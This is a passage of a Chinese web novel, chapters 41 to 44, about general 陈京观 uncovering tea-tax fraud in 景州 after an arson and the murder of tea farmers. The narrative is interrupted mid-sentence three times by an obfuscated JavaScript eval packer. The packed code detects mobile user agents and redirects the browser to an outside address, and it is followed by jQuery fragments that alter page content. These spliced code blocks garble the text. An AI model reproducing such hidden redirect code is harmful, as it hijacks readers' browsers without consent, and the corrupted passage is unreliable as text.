这话一出,席英立刻红了脸,陈京观笑着解释说席英是他的副将,关策才忙为自己的冒昧道歉,又说了几句恭维席英的话,才算是了了他对自己的埋怨。 他们等了一会儿,平芜就牵着马从后院出来,陈京观看见他腰间别着平海的匕首。 其实到了陈京观的府院,离景州就不远了,剩下的路由关策在前面领着,他们超了小路直到景州府衙。 不过等到了府衙门口,关策却好像有些犹疑,他抬头看了看那块牌匾,深吸了一口气走进去。 此时应当是衙役当值的时辰了,可是那大门推开后却看不见一个人。 陈京观看了关策一眼,他却好似习以为常,只是有些难为情的解释道:“他们大多在刺史府,这府衙,很久没人来了。我想着空着也是空着,就住进来了。” 说完,关策到内院给陈京观指了一处院落,又为席英也选了一个房间。 日将西沉,陈京观本想着先去看看帐册,可关策说账册就在府衙的后院,他每日都去看顾,丢不了,让他明日再看。 陈京观拗不过他,就同意了,然后就见关策钻进了府衙的后厨,忙活了半天端出来几碗素面。 “到饭点了,总不能让您饿着肚子。不过我这儿确实没什么好东西,等过些时日领了俸禄,我再请您去街上下馆子。” 陈京观端着面一边吃一边称赞,关策脸上的歉意好像也消减了几分,而两个小孩随着陈京观的话说,吃完之后甚至又去厨房盛了些。 “我倒是没想到阙州城的小孩还能吃惯我做的这些。” 关策吃着,脸上憨憨地笑着,不过陈京观摇头解释道:“我们可不是阙州的,我和平芜来自雍州,席英来自盛州,要说我们以前,可能还吃不上这一碗。” 陈京观话音刚落,平芜就在旁边附和,此刻关策再看他们的眼神柔和了很多,他自己也松弛了一些,不再缩着身子窝在角落。 等着吃完饭,席英就主动去收了碗筷,关策本想阻拦,可陈京观摆了摆手让席英去收拾,关策欲言又止,陈京观就宽慰他。 “平日在家我们三个轮着做饭,不做饭的那两个就打扫院子或者洗碗,大家都习惯了。” 关策听罢有些讶异,不禁问道:“少将军府里,没请仆人?” 陈京观摇头,一边帮平芜擦桌子,一边说:“我们三个自在惯了,家里若有旁人倒是拘束。再说了就三个人的饭,我们自己能做的,又何苦劳烦别人。” 陈京观说罢,关策再看他时已然换了神色。 当时陈京观在雍州发迹的事情闹得沸沸扬扬,他当然也有所耳闻,后来景州连带着阙州缺粮,街上又传出是陈京观切断了广梁向外运粮的路,他其实还骂过他。 虽说景州有粮仓,可那是皇家的粮,谁也碰不得,他们就每日熬着,直到有一天遥州一伙人进来一把烧了那粮仓,他才听闻萧霖派了人去请陈京观。 他那时候就觉得此人颇有心机,怕是不好相处,可今日一见,全然是与他想象不同的人。 陈京观虽说成了少将军,可关策看他,只觉得像是个很好说话的后生。 “如今时候不早了,那少将军先休息,明日一早我去请您。这些年的账册挤压了很多,怕是要好些时日才能看完,那几户来报官的茶农我也安置在了府衙后院,明日我让他们去拜访您。” 关策说着,还是一直勾着腰,陈京观没多说什么,道了声好,便回到了房中。 可他自从进了景州就觉得有些异常。 不过萧霖的圣旨是随着他们到的,要说左疆奇那伙人胆子再大,也不能抗旨不尊。 只是出于对之前几次意外的心有余悸,陈京观还是派了平芜将后院的人都接到了前头,让他们与自己一起住在府衙的厢房里。 许是前一夜在桃园受了凉,陈京观这一晚上睡得很早。可他刚入睡不久,便听到门口有人喊了起来,他再朝窗外看时,瞧见熊熊烈火已经照亮了半边天,门口的全是从房间里跑出来的人。 “这火烧得离奇,我们先离开这里再说。” 陈京观还没来得及穿好衣裳,一边提着自己的外衣一边冲出门去,迎面就撞上了惊慌失措的关策。 关策听了他的话一个劲儿摇头,脸上早就涕泪纵横。 “不行啊,左疆奇那些账册还在后头,得先救火。” 关策脸上已经让浓烟染上一层灰色,他套在外面的披风下摆已经被烧成絮状,他说完就向往火里跑,陈京观立刻拉住了他的胳膊。 “他们就是要让你死在火里,这样就没有人会查了。” 关策闻言,突然嚎啕大哭。 此时陈京观周围已经聚集了住在旁边卧房里的茶农,大家都被这一场突如其来的大火吓得不轻,有两个还在娘亲怀里的小孩哭闹不止,与关策的声音交叠着刺激陈京观的大脑。 “先从前门走,出去再说。” 说罢,陈京观示意席英和平芜清点人数领着他们先走,而他自己返回去看有没有被困住的人。 其实他的神经从他看到窗外的瞬间,就被这一场大火刺激着,火舌吞没朽木时发出的每一声,都让他心跳加快。 又是大火,又是想致他于死地。 陈京观一步不停地后院的方向跑,那边火势更大,应该就是起火点,他路过水池时将自己的衣服打湿,等他冲进后院时,便听到气若游丝地呼救声。 “你在哪儿?” 陈京观喊着,四下也找不到声音的来源,他的双眼被浓烟灼得发酸,周身被潮湿而闷热的空气包围着。 突然,面前有一根长棍倒塌下来,他向后退了一步,与此同时他的脚踝被人紧紧拉住。 “救救我……” 陈京观侧身去看,那男子被压在横梁下,索性有炉台替他挡了一下,可这也将他困在了一个三角区。 陈京观看见他,二话没说脱下外衣给他披上,那男子的腿被一根断裂的木棍贯穿,他想要朝外爬,可是那棍子与横梁卡死了,只要他移动,棍子就会来回牵扯他的皮肉。 “你等着,我去搬那个梁木。” 那男子不知被压了多久,刚才抓住陈京观时或许是他最后的力气了,陈京观没听到他的回应,但是他一边移挪着木头一边呼喊着让他保持清醒。 可奈何他一个人的力气确实不够,但若此时再去外院找人,这大火定当吞没整个院子。 “你忍一下。” 说罢,陈京观毫不犹豫地动手,在那木棍被拔出来的一瞬,他将一块帕子扯开绑紧出血口,随后将男子拉扯出来背在背上就外跑。 此时的男子被突如其来的刺痛惊醒,满眼泪水,但是他窝在陈京观背上时,还是忍不住回头看了一眼。 在他所在位置再往后的地方,那片大火带走了他的妻儿。 “你为何不来前院与我们同住?” 陈京观跑得气喘吁吁,可还是忍不住问了一句,而那男子已经有些麻木,陈京观怕他睡过去,就有重复着问了一遍。 “我怕你是来杀我灭口的。” 那男子的声音里全是绝望,陈京观喉咙一紧,却不好再说什么。 等他们跑出府衙,晨光熹微,烧了半宿的院子终于是烬灭在了一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关策见陈京观不说话了,也不再继续追问,起身朝陈京观行礼后带着这些人往他自己的院子走去。 他被左疆奇排挤后,原想着住在府衙安全些,便动了卖掉祖宅的想法,他此刻庆幸自己还有些犹豫,留下了自己毗邻遥州的祖产。 因为地处北梁边界,又常伴着东亭匪患的原因,那里的房产很不好出手,但是那地方也因此免于被左疆奇的人惦记,有一些得罪了刺史又没法搬进阙州的人都会住在那里。 关策将这些茶农带回家后锁上了院门,依旧装作没有人的样子,和他们定了暗号,每三日来送吃食。 大家被这场火弄得人心惶惶,可也都应下了关策的话。 不过那位姓刘的司丞因为腿伤严重,被陈京观托平芜送去了医馆。 如今这景州全是左疆奇的眼线,他们编了个由头说是不小心从梯子上摔了下来伤的,那郎中倒也没说什么。 等着一切安排妥帖了,陈京观去街上的布坊买了几套成衣,让平芜和席英换上,又让他们去找客栈落脚。 这几日他们怕是要先缓缓,对面人多势众,他们势单力薄不好行动。 但陈京观不是坐以待毙的性格,虽然他手上只有两本账册,可是他依旧凭着从昌用商行学来的本事看出了些蛛丝马迹。 “景州茶的种类与遥州相同是吗?” 陈京观看着簿子问,关策就在一旁答他。 “对,不过为了避开遥州出名的的单枞和龙井,我们选了他们不做的绿茶。虽说知名度不比他们,但是我们价格低,所以寻常百姓爱喝。” 陈京观闻言点了点头,又发问:“他们的价格是多少?” 关策思量了一会,说:“他们的单枞从五百到九百钱不等,龙井稍逊色,但估摸也要三百钱左右。” 关策的话好像是给了陈京观对于内心想法的一个肯定,他合起账册,抬头盯着关策。 “我看账上毛尖多是三十钱卖出,而收购价压到了七钱。这个盈余是客观的,但是断不会出现这么大的空子让他们钻。我想着,他们是与遥州的茶商串通一气,用石头,卖着黄金的价。” 关策不太理解陈京观的话,或者说他觉得不可思议。 于是陈京观继续解释道:“其实那些人不可能喝不出差别,可要是上面的人指鹿为马,你觉得他们信还是不信?” 陈京观此话一出,关策立刻明白了其中缘由。可还没等他开口,房门就被平芜推开了。 “刘郴,跑了。” 42.景州茶税(二) 刘郴,陈京观冒死从府衙后院救出来的市买司司丞。 陈京观那日将人交给平芜后就没有再去看过他了。 其实他那日的话对陈京观有所触动,不过他想着刘郴有腿伤,况且自己还救过他一命,他应当是放心了,便没有在医庐设置守卫,只是让平芜时不时去看看。 可刘郴还是跑了,并且在临走时撬开了关策家偏门的锁,带走了那些茶农。 “那些人为何如此信他?” 陈京观此时不急着找人了,他们这些本地的农户一旦想跑,这山地丘陵全是藏身之处。 只是他有些不解,自己既然已经救下了他们,又有什么原因能让他们逃跑。 “刘郴原是景州大茶商刘启的长子,他父亲为他买来的司丞一职,为的也是方便他们家从中获利。后来左疆奇上任,刘郴就成了他的人。如果按您的说法,我觉得这些茶农也是知道内幕的,那个收购价,怕也是假的。刘郴怕事情暴露就跑了,那些茶农估计也是受其鼓动。” 关策说着,陈京观只是默默点头,而后像是突然想起什么,便问道:“那知州是如何寻到他的?” “他自己来报官的。”关策说完顿了一下,“我发现了茶税问题后一直在私底下打听,可奈何我手里没人,便用了几年才收到些零碎的账目作为证据。我有一日去他家茶铺买茶,他突然将我拉到一边递给我一本册子。那是他这些年从左疆奇处收到的所有回扣。我不明白他为何这么做,而他也没解释。” 关策说起刘郴来,语气带着些许可惜,但随即又继续道:“不过他父亲一年前突然染病去世了,现在想起来,就是葬礼没多久他来找的我。” 关策的话有些零散,不过对于陈京观来说足够了。 他抬头望着窗外的太阳估摸着时辰,然后对着关策说:“等下我的人来,麻烦您带着去寻一寻,我只怕那些茶农,是刘郴的祭品。” 陈京观的话让在场的人陡然生出冷汗,关策望着他愣了片刻,立刻下楼去找人,而他刚下楼就遇到了从雍州过来的董辉。 董辉受了陈京观的命令,便将带来的三千人交给关策,下令他们分散开去寻人,而自己上楼去找陈京观。 “你还有什么想法?” 董辉一见陈京观便问道,而陈京观抿着嘴半天没说话,他旁边的平芜有些内疚,董辉便伸手拍了拍他的肩以示宽慰。 “我想着,得去找找东亭的旧人了。” 说罢,陈京观起身欲往外走,路过平芜时低声说了一句“不怪你”。 起初平芜没听清,后来后知后觉反应过来,立刻跟了上去。 陈京观口中的东亭旧人大家都心知肚明,不过江阮向来神出鬼没,除却他主动现身,一般很难在某处寻到他。 但陈京观仿佛已经吃透了江阮的想法,出了客栈就骑马往关策家的院子跑去,平芜和席英跟着他一言不发。 等他们到了,果然看见那院门大敞,而江阮一个人坐在院中的竹椅上晒太阳。 “你知道多少?” 陈京观没有打算说些客套地话,他觉得此刻江阮能主动来找自己,势必是已经牵扯其中。 “这件事和我无关,但是我在遥州,也经营茶坊。” 江阮看到陈京观并没有打算起身的意思,反而将自己又往椅子里挪了挪,此时陈京观正挡着他面前的阳光,他说话时还带着些埋怨。 “左疆奇在遥州的生意,是与你往来?” 江阮闻言摇了摇头,小声说了一句:“爱喝茶的又不止我一个。” 陈京观没理他的装傻充愣,他盯着江阮的目光里出现了几分冷意。 “那你来是?” 江阮得到了自己想要的问题,便缓缓从椅子上起身,陈京观稍向后退给他让出位置,那一瞬他看到江阮脸上闪过一丝笑意。 “今早我在边界发现几具尸体,我想着应该是你要的。” 他这话一出,倒是惊了陈京观身后的平芜。他本就有些责怪自己没看住刘郴,此时听到那些农户因自己而死,便又低下了头。 “你去告诉董将军,让他带人去边界寻,记得带上关策,让他看看刘郴在不在其中。” 平芜领了命令,也顾不得收拾自己的情绪,便转身出发。 等他走后,江阮又看了看陈京观,等着他继续发问,可陈京观却好似没这个意思,作势也要离开。 “你为何要管这个闲事?” 江阮的声音在陈京观背后响起,陈京观脚步没停,但嘴里应他。 “因为我是南魏的将军。” 陈京观的回答让原本带着笑的江阮轻轻抽动嘴角,眼睛稍稍眯起,若有所思地看着他的背影。 不过他觉得陈京观还会再来找他,便又惬意地坐在躺椅上,只是心思却不全在此处了。 另一边的关策也像是猜到了什么,带着董辉朝边界走去。 他平日里不敢自己过来,如今有了平远军壮胆,他走起来倒显出几分威风。 其实遥州在最开始原本也是南魏的土地,但是百年前南魏祖皇帝派了人一路向东开疆拓土,那一群人后来有了自己的心思,就在都定口安了家,而后一些被南魏皇室流放的人也开始往东迁,渐渐的东亭这个国家就出现了。 起初他们只是在无人区做标记,但毕竟土地是有限的,而那时的东亭远比不上南魏。等着人一多起来,大家便都扎堆在了南魏边界。 南魏自古就讲求以礼治天下,而且算起来他们也与东亭人是同根同源,东亭建立政权后要求分割遥景平原,同时却又主动向南魏臣服,提出以此为界永不与南魏起争执。 对于一个新国家的主动示好,当时的南魏皇帝欣然接受了。 那时的北梁还未出现,西芥也还是游散牧民,他南魏一家独大自然不可能长久,于是那份协议就签了百年。 可这世间的事,又有谁能真的预料。 关策在边境线上走着,甚至还有些近乡情怯。 他是土生土长的景州人,也是村子里第一个中了举子的人,他当时放着京中吏部郎中不做,跑回家去做知州,为的就是保护这片他成长起来的土地。 他明白茶税对于茶农的意义,也明白景州对于南魏的意义,可越是清楚,就越无力。 他如今四十好几,尚未娶妻,在官场上搓磨半生。他原是那一批中榜之人中颇有前途的,可事到如今,他在这知州的位置上一坐就是十年。 “知州,那里好像有人。” 他身边的巡防兵对他很是客气,来报告时对他的礼数很周全。 关策有些不太习惯,但是还是应了一声跟上了那士兵的脚步。 他刚走近一看,便架不住又红了眼眶。 那地上躺着的,全是他费力从左疆奇手里救下的茶农。其中有个母亲怀里抱着孩子,那孩子脖子上是紫红色的手印,怕是当着母亲的面活活掐死的。 “知州,这……” 那士兵见关策微微发抖,想要伸手去搀他,却被关策摆手推开了。 “麻烦各位小兄弟,如今天热,把他们就地葬了吧。” 关策的声音还有些颤抖,但神经却绷紧,他努力向前走了两步数着人数,等数到最后一个时,突然笑了。 他知道陈京观猜对了,所有农户都在这,少了的,只有刘郴。 “关知州,少将军让问问说刘郴在不在?” 此时的平芜也赶来了,他后面跟着董辉。 两人一看面前的景象,不自觉地压低了声音,语气也柔和了许多。 “少将军猜得没错,刘郴此刻,应该在向左疆奇讨赏了。” 关策说着,整个人就慢慢卸了力气,他背靠着一棵树蹲了下去,好像这几日的神气只是昙花一现,绽放过了,他便要永远归于寂静。 “烦请两位兄弟替我向少将军传达我的歉意,辜负他跑这一趟。如今人证物证都没了,这案子也就结了。我过几日会进京请罪,万不会搭上少将军的前程。” 关策说话时满是颓唐,平芜不知道怎么安慰,可他身后的董辉却冲上前去揪住了关策的衣领。 “你说搭不上,他们就不会牵连京观了?他们费尽心机想治他的罪,却找不出他的一点不是。他明明知道这事难办可还是来了,他屁股都没坐热你让他回去?他回去说什么,说自己才不配位,还是向威岚坊那位叩头认罪?” 董辉手上的力气大,再加上本就比关策高大许多,此刻关策被他拎在空中更像一片摇摇欲坠的枯叶,他脸上的泪还没擦干,嘴里只好一遍遍说着“那我能怎么办”。 “大男人哭什么哭,人死了不想着报仇,在这里哭丧顶什么用。” 董辉到了气头上,语气愈加激烈,不过他没注意到旁边的平芜脸色也变了,但他如今也能装得住事了,深吸了一口气上去劝阻董辉。 “董将军先放下他吧,”平芜的手轻轻拍了一下董辉的胳膊,眼前的人也就松了劲,随后他扶住关策,脸上挤出一点安慰的笑,“关知州,事情还没到穷途末路的地步,我们回去与师兄再做商议。毕竟刘郴还在,账册也在,更重要的是,您还在。” 关策闻言依旧低着头,但是默默地点了一下头,反而是董辉听到平芜这番话有些愣神。 平海的事情他是从陈京观寄来的信上知道的,陈京观说平芜好像真的长大了,那时候他没理解这句话,如今倒是真的看见了。 等着关策由身边的士兵扶着往回走时,董辉走到了队伍后头找见平芜,有些犹豫不知道怎么开口。 “董将军是觉得我变了?” 平芜说话时没看董辉,他视线瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250012|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着地上的草芽,小心翼翼地避开那些路边的花。 “是觉得你长大了。” 平芜闻言笑了笑,抬头的瞬间董辉听到了他的轻声叹息。 “原来,长大是这个滋味,真不好受。” 说罢,平芜拍了拍董辉的肩拉着他一起跟上了前头人的步子,董辉没再说什么,伸手握了握平芜的手。 他们一起将那些人葬下,关策又为那些农户念了景州方言的悼词,可回去时他与董辉不免因为刚才的事情多了几分尴尬,脚步也就放慢了许多,几乎与陈京观一同到了客栈。 陈京观在离开关策旧宅后一个人去了景州几个茶坊。 他一开始找了几个大的店铺,试着尝了一下,的确是货真价实的龙井和毛峰,可是他无意间去了几个开在巷子里的小店,倒是证实了他的想法。 只是无一例外,这些小店只做大宗客户的生意,听闻陈京观是阙州来的,都十分热情的介绍自己家的茶叶。 陈京观尝了几种茶叶,以他从小与父亲品茶养成的习惯来看,那些茶农为了浑水摸鱼,在炒茶的时候缩短了时间,同时没有给予茶叶足够的沉淀时间,这就让他们本地产的绿茶在初入口是有了龙井的苦涩。 单说制作过程,这缩减后的用工已然能省下不少银子,再论茶叶的品种,景州的也远比不得遥州专供富贾的那些。 如果上下打通,这其中的暴利可想而知。 那茶铺老板见陈京观很有兴趣,就开始示意他自己可以压低价格,陈京观和他推脱了几番,基本以市价三成就买到了。 他最后留了“黄三余”的名字,让茶商送最新一批茶去自己在阙州的宅院,临走时又单独拿了一包,说是这几日品尝用,那茶铺老板没起疑,笑眯眯地送他出去,最后还暗示他若是喝得好,还可以再便宜。 “试试吧。” 陈京观将袖袋里的茶叶扔到桌上,房间里的其他人就围了过来。 关策对饮茶的这一套很熟悉,就先为自己倒了一杯,他尝过两种不同的茶叶后,发现了不同。 可是其他几个没有喝茶习惯的人喝着,只剩下面面相觑。 “所以他们的茶叶,不往遥景内部卖,为的就是让外地一些不懂装懂的人借着遥州茗茶的名声来炫耀,但实际上他们根本喝不出差别。” 陈京观抿着嘴,心底里却不得不说一句绝妙。 这茶下层的喝不起,上层的不屑喝,唯余中间这些想显着面子,却又没有里子的人对它趋之若鹜。 其实要不是他们在茶农的茶税上做了手脚,陈京观倒对此喜闻乐见。 “那他们怎么能知道这茶好的?” 关策说着,又喝了一口那个假冒的茶,他更是觉得差别甚大,便下意识撇嘴。 “如果有一日我在家宴上夸了这个茶,恰巧又有几个想要来巴结我的,你说他们会不会借机抓住这投其所好的机会,这便是故事的开端。” 看似是小把戏,可一环套一环,众人再看这手中茶汤时,只觉得满是阴谋诡计。 “刘郴的父亲应当是为了让儿子升官,便跳上了左疆奇的贼船,毕竟买过一次,第二次就更轻车熟路。不过他没想到左疆奇不同之前的刺史,他的野心远不止于此。” 陈京观叹了一口气,有些唏嘘,“他不只是想偷梁换柱,更是想贪墨茶税。对于前者刘郴可以置若罔闻,但是他作为市买司司丞,茶税,就是经他手办的。一旦东窗事发,他会是首选的替罪羊。” 此刻的关策倒吸一口凉气,他再看陈京观时,眼睛里满是钦佩。 “但是左疆奇能毒杀刘启,势必不会放过刘郴。刘郴以为他交出茶农就能换一个生机,可这只会让左疆奇觉得他是个摇摆不定的人,他可难说刘郴不会供出自己。” 说到这,关策也听懂了其中的意思,可正当他想要立刻动身去寻刘郴时,却被陈京观拦下了。 “你知道他在哪?” 关策摇头,而陈京观轻笑了一声。 “那就等他来找我们,若他活不下来,权当是他为那几条命赔罪。” 陈京观说这话时语气冰冷,关策一时间以为他变了个人,可下一秒陈京观又笑着看他,招呼他过来。 “关知州家中以前也是种茶的吧。” 关策点头,他想过陈京观会查自己。 “那就拜托知州去说动你那些叔叔伯伯,法不责众,他左疆奇不能屠城吧。” 关策闻言不禁咽了口唾沫,接着他又听陈京观说道:“不过你那些亲戚,可也是受益者。你要想好了,你的官路,或许是他们的血路。” 陈京观这话一出,屋里的众人全看向关策,关策在目光的注视下愣了片刻,突然开口道。 “景州有句古话,人该如茶,清清白白。他们忘了根,我不能忘。” 43.景州茶税(三) 关策的话说完,倾身向陈京观行礼,他走出房间前顿了一下,像是有话要说,可最终还是憋回去了。 陈京观将一切看在眼里,他本意要派董辉去协助关策,可从进屋那刻,他就察觉到二人间那股说不清的纠葛,便让平芜和席英陪着关策去了。 “你们又是怎么了?” 陈京观起身要出门,董辉就跟在他后面,而他突然地发问让董辉没缓过神,他见董辉没回答,就侧身去看他。 “没什么,一些小摩擦。” 陈京观闻言低头笑了一声,打趣道:“怎么,董叔也要学两个小孩,也要让我猜了?” 董辉尴尬地干咳了一声,等他们下了楼,他才开口。 “刚才关策见到茶农死了便泄了气,说是要回阙州请罪,还说他一定不连累你。我觉得好笑,你都跟他到景州了,如何能不连累?” 董辉说起刚才的事情,语气依旧算不上友好,倒是陈京观笑着答他:“连累不连累,有时候只有当事人才能判断。若这事我没办成,我也不会觉得是他连累了我。其实我来这,也有自己的私心。” 陈京观脚下的步子放得慢,董辉就一边走一边想着他的话,陈京观看他一脸严肃的样子,就又接着说:“最初我是只想报仇,可现在,我认了南魏将军的身份,就该做些事情。” 董辉闻言点头,但脸上还是忧心忡忡的表情,陈京观便宽慰他说:“但是我还是很谢谢您,我知道您是真为我担心,无关乎我的官职,只是为我这个人。” 陈京观说罢转头朝董辉灿烂一笑,他其实很久没有这样笑过了,但是董辉出现在他身边的时候,他就会觉得安心。 离开了客栈,已经临近饭点,陈京观让董辉去隔壁的馆子点几个菜,并且让小二用食盒打包好。 董辉有些不解,但还是照做了,而陈京观又将买来的茶叶看了看,若有所思。 他相信江阮没骗自己,但是要说他对此事不知情,他却不信。 等着董辉买好吃食,他二人就又骑马跑到了关策的旧宅,此时的夕阳映照在院前那片空地上,像是洒了一地黄金,陈京观下马朝院内看,却发现里面空无一人。 “毕竟不是我的地方,我也不好久待。” 陈京观刚升起的疑心被背后的声音浇灭,他转头就看见江阮笑嘻嘻地和自己摆手。他手上拿着一壶酒,说话间便朝陈京观走来。 “酒坊刚酿好的青梅酒,但是估摸着时辰不够还不够烈,不过今日,我估计陈兄也不想醉。” 江阮说着,抬步要往院子里走,陈京观就伸手扯住了他的衣袖。 “你不是说不是你的地方吗,怎么又进去了?” 江阮闻言脸上笑意更浓,他站在陈京观面前微微皱眉,开口道:“你不是关策的上司吗,你也进不得?” 陈京观闻言苦笑不已,不过关策家偏,此时要想找个合适聊天的地方一时半会真找不到,于是陈京观就松开了手,江阮耸了耸肩,又回到了午后那个竹椅上。 “你知道我要回来找你?” 陈京观手上摆弄着菜,在间隙抬头看了江阮一眼,而江阮坐在椅子上看他,朝他点了点头。 “是因为你还有什么话没对我坦白?” 陈京观的话自然是一句调笑,江阮便顺势装出委屈的样子,道:“那你可真是冤枉我了,今日这事和我全然没有联系,我原来一趟,完全出于好奇。” “好奇什么?” 陈京观手上的活忙完,江阮就坐到了他对面,将桌上的三只杯子都斟满,和董辉相视一笑。 “我问过你的,你为什么管这个闲事。” 陈京观闻言不禁皱眉,白天他回答给江阮的是自己的真心话,但听起来确实太过冠冕堂皇,他此时看着江阮,深吸了一口气后说道:“你当真没做过无利不起早的事?” 江阮听了他的话直摇头,用筷子加了一片鱼肉慢慢在盘子里挑刺。 “我是商人,以利为先。只是恕我直言,陈兄若为了心中所愿,也当如此。” 说完,江阮将那块没刺的鱼送入口中,陈京观看他时,竟分不清他是在品味鱼肉,还是在品味自己的表情。 “你知道我心中所愿?” 陈京观说罢轻轻挑眉,卸了一只鸡腿来吃,江阮看着他,又勾起了嘴角。 “你何故更名,便是你心中所愿。” 董辉对江阮还不是很熟悉,不过他觉得此人不好相与,而江阮此刻的话让他一惊,他讶异于江阮到底知道陈京观的多少底细。 只是陈京观对此倒没什么反应,他点头对江阮的话表示认可,可随即又说道:“仅此而已?” 这次轮到江阮少有的沉默,他盯着盘碟里的鱼肉,半天没出声。 “你若将我仅限于此也不是不行,那的确是我最初的心愿。可是,我倒也没有你想的那么简单。” 陈京观若无其事地说,说罢就用帕子擦了擦手,也夹了一块鱼肉。 “你以为我是如此,而这么久了你还愿意信我,证明我与你心目中的陈京观不出其右。可这始终是你以为,我从未对你说过我到底是谁。” 江阮哑然,他虽然表情依旧云淡风轻,可是陈京观看到他握在杯上的手露出青筋,指尖因用力有些泛红。 “不过我要你对我说的,我也可以说于你。只要我们还是盟友一天,你大可以信任我。” 陈京观说罢,抬起酒杯碰了碰江阮的手,江阮有些恍惚的抬头,朝着他笑了笑,随后两人饮尽了杯中的酒。 “那你问完了你的问题,是不是该我问了?” 江阮撇着嘴点头,这一此倒轮到陈京观轻笑。 “你说你未牵扯此事,可是遥州的茶坊就那些,他们做的事也影响不到你吗?” 陈京观说罢偏着头看江阮,而江阮夸张地仰头打了个哈欠,思索了半天说道:“我只在乎上面那些人,而你说的那些茶坊,够不到他们。” 陈京观笑着点头表示理解,可又继续说:“所以左疆奇不在其中,而崇宁在。” 对于这个问题,江阮没有回答,他又给自己倒了一杯酒,抿了一下便放到了桌上。 “你不回答也可以,那我能托你个事吗?” “你自己的事,还是南魏的事?” 江阮说这句话时没有了平日那吊儿郎当的劲儿,陈京观知道他明白了自己刚才所说的,只是此刻的江阮又让他有些看不懂了,他回了一句“都有”。 “好,我帮你这个忙,你说。” 江阮不再纠结,好像又回到了那个漫不经心的状态,陈京观顿了一下,开口道:“你能找到刘郴对吗?无论死活。” 陈京观的话刚说完,江阮就点了点头,随后就见他用手指沾了杯中的酒,在桌子上写了一个“寺”字。 “你已经见过他了?” 江阮闻言又没说话,他将杯中剩下的酒喝完,准备起身离开。 “你需要我帮你问吗?” 陈京观抬头看着江阮,此刻他看不清江阮脸上的表情,但是那语气却不算好。 “你要怎么问?” 江阮闻言轻笑了一声,暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258107|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗叹气。 “只要能问出来,你还在乎怎么问?” 陈京观没有答他,但是等江阮快要走出院子时,他朝着江阮的背影喊了一声。 “不用了,谢谢你。” 江阮没有回应,甚至没有停顿,径直离开了这里。 直到他离开时,陈京观一直有种奇怪的感觉。 不知为何,今日的江阮更像是他最初以为的江阮,可之前那个江阮,也是他。 刚才陈京观在江阮的眼底,好像看到了失望,可他不明白他所望的又是什么。 陈京观叹了一口气,盯着桌上留下的那壶青梅酒,这次的酒味没那么冲了,甚至感觉有一丝甜。 “你这算是和他摊牌了?” 董辉刚才一直在低头吃饭,江阮给他倒的酒他也没喝,此刻他再看陈京观时,觉得好像他也有些许失落。 “算是吧,之前他没主动问过我,我也不打算主动说,所以我们对彼此谈不上了解。这一次我说的话,压在我心中很久了,我不想骗他,可我又并不觉得我骗了他。很奇怪的感觉。” 陈京观说话时表情很恍惚,董辉很少见到这样的他,他没答他,只是又往陈京观的碟子里添了些菜,犹豫了一下仰头喝掉了杯中的酒。 “若他能明白,那他会理解你的,若他不理解你,那你们可能本就不是一路人。” 陈京观闻言点头,也渐渐缓过神来,一边吃饭一边让董辉将景州的地图拿了出来。 景州是一条狭长土地,其本意在于守住阙州面前的海岸线,所以除却遥景平原,他们还有大片土地近临湖海。而陈京观所在的地方在景州最东边,也在泯川江的入海口。 江阮提到的寺,他们附近有三个,其中一个是官府下令修建的,专用于祭拜海神,其他两个一个是土地庙,另一个就是几个大茶农合资修建的私庙。 官庙一般由专人把守,料想刘郴此刻定不敢抛头露面,而后面这两个相隔的距离很远,如果走错的话往返又要花些时日。 “那几个茶农你可打听过了?” 陈京观放下手里的筷子,定睛在地图上那个小点,若说他们此刻出发,夜半之前倒也能回来。 “其中有关策那几个混得不错的叔叔,其他几户也多能和他们牵上关系,只一户姓彩的,我几乎查不到任何消息。” 陈京观沉默了一会儿,也没有什么头绪,便只好作罢,打算回去找大部队兵分两路。 他收拾着桌上的残羹剩饭,抬头的一霎那,他到了关策家的祠堂。 那祠堂许久没人搭理,门口的窗纸被风撕开了几个口子,而那有些枯朽的木门虚掩着。 “我去看看。” 董辉闻言抬头,见陈京观迈着步子往那祠堂方向走过去,他加快了手上的动作,将食盒收拾好后紧跟着陈京观。 “吱呀”,那扇木门被陈京观打开,里面除了一些积灰的牌位,别无他物。 “打扰了。” 陈京观向着那些排位鞠躬,可当他转身想要离开时,却看到了正中间与关家家主并排的位置,有一块牌位微微矮上一些,而那块木牌上的人名,姓彩。 “关策,你果然没有那么简单。” 陈京观冷笑了一声,而他身边的董辉面色凝重,突然开口道:“我想起来了,那日登记时刘郴说起过他夫人的名字,也姓彩。” “我们先回客栈,另外派人去关家私庙,小心关策的眼线。” 说罢,陈京观装作若无其事的退出了祠堂,关上了那扇门,立刻骑马朝城中去了。 44.景州茶税(四) 此时在景州城最气派的宅院里,关策的谈话算不上顺利。 关家是景州最早一批发家的,这么多年来关系盘根错节,关策那些叔叔伯伯原指望他能一路通达光耀门楣,谁知道他选择回景州,自那之后他们一直对关策没好气。 “二叔,您家的茶园今年还种毛尖吗?” 